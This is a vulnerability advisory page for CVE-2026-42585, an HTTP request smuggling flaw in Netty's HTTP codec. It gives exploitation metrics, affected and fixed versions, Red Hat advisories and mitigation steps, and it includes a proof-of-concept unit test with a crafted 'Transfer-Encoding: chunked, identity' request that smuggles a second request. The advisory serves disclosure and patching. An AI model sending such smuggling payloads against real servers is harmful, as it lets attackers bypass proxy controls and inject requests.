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MEDIUM severity

CVE-2026-42585 — netty-codec-http

MEDIUM

CVE-2026-42585 is a medium-severity (CVSS 6.5) CWE-444 vulnerability in io.netty:netty-codec-http. A fix is available for io.netty:netty-codec-http — see the affected versions and patch details below.

Netty: HTTP Request Smuggling due to malformed Transfer-Encoding

Also known asGHSA-38f8-5428-x5cv
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42585.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk
0.00%0.26%0.53%0.79%0.0%0.3%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
☕io.netty:netty-codec-http☕io.netty:netty-codec-http

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.netty:netty-codec-http≥ 4.2.0.Alpha1&&< 4.2.13.Final4.2.13.Finalio.netty:netty-codec-http:4.2.13.Final
☕Mavenio.netty:netty-codec-httpall versions4.1.133.Finalio.netty:netty-codec-http:4.1.133.Final

Affected Products

1 product · 2 configurations
Application
nettynetty
≥ 4.2.0 && < 4.2.13
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.netty:netty-codec-http to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42585 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

This Moderate flaw in Netty's HTTP codec allows for request smuggling attacks due to improper parsing of malformed Transfer-Encoding headers. An attacker could exploit this to bypass security controls, potentially leading to unauthorized access to sensitive information or manipulation of web traffic in Red Hat…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-42585 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7eap7-hibernate-0:5.1.17-5.Final_redhat_00006.1.ep7.el7RHSA-2026:73976
Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7eap7-hibernate-0:5.3.39-1.Final_redhat_00001.1.el7eapRHSA-2026:73644
Red Hat JBoss Enterprise Application Platform 7.4.25netty-codec-httpRHSA-2026:53806
Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7eap7-activemq-artemis-0:2.16.0-22.redhat_00057.1.el7eapRHSA-2026:53644
Red Hat JBoss Enterprise Application Platform 8.1.7.GAio.netty/netty-codec-http:4.1.135.Final-redhat-00001RHSA-2026:49701
Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 10eap8-eap-product-conf-parent-0:801.7.1-1.GA_redhat_00001.1.el10eapRHSA-2026:49700

Frequently Asked Questions

### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. ### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length " If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. " A possible
O3 Security · Impact-Aware SCA

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CVE-2026-42585: netty-codec-http — Fixed in 4.2.13.Final